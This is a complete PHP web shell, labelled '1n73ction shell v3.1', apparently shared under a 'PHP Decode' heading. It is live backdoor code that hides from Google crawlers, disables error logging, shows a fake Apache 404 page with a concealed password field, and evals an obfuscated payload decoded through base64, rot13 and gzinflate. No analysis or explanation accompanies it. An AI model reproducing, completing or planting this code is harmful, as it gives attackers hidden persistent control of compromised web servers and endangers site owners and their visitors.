PHP Decode

<? 
/* (1n73ction shell v3.1 by x'1n73ct|default pass:" 1n73ction ") */  
$auth_pass = "c4ca4238a0b923820dcc509a6f75849b";  
$color = "#00ff00";  
$default_action = 'FilesMan';  
@define('SELF_PATH', __FILE__);  
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {  
    header('HTTP/1.0 404 Not Found');  
    exit;  
}  
@session_start();  
@error_reporting(0);  
@ini_set('error_log',NULL);  
@ini_set('log_errors',0);  
@ini_set('max_execution_time',0); 
@ini_set('output_buffering',0);  
@ini_set('display_errors', 0); 
@set_time_limit(0);  
@set_magic_quotes_runtime(0);  
@define('VERSION', '2.1');  
if( get_magic_quotes_gpc() ) {  
    function stripslashes_array($array) {  
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);  
    }  
    $_POST = stripslashes_array($_POST);  
}  
function printLogin() {  
    ?>  
<h1>Not Found</h1>  
<p>The requested URL was not found on this server.</p>  
<hr>  
<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>  
    <style>  
        input { margin:0;background-color:#fff;border:1px solid #fff; }  
    </style>  
    <center>  
    <form method=post>  
    <input type=password name=pass>  
    </form></center>  
    <?php  
    exit;  
}  
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))  
    if( empty( $auth_pass ) ||  
        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )  
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;  
    else  
        printLogin(); 
function x($inject){eval("\$z=gz" . "inf" . "la" . "te(s" . "t" . "r_r" . "ot" . "13(ba" . "se" . "6" . "4" . "_" . "d" . "e" . "c" . "o" . "de(st" . "r" . "_" . "r" . "o" . "t" . "13(" . "gzi" . "nf" . "lat" . "e(" . "bas" . "e6" . "4_d" . "ec" . "ode(\$inject))))));eval(\$z);");} 
x("BcFLEkMwAADQA3UR41PtoosYVDCToE3ETklHQv1L3b7v+dTA5E1Vmj3lKq8JUnbFArMm3x6w0SsfmthiFIfpAOZJea99h9vY3n25Av/JpM4TuogsP7sYt/kWd63yMUoIFnpJcBE6OyxpNFWNDAIewUZ+Mupm1pqiuGI9P4aC71blFMl0TLOLF8YFtIbI6HB4DNA2wSKVPGnsAkRdm+7v9gc="); 
?>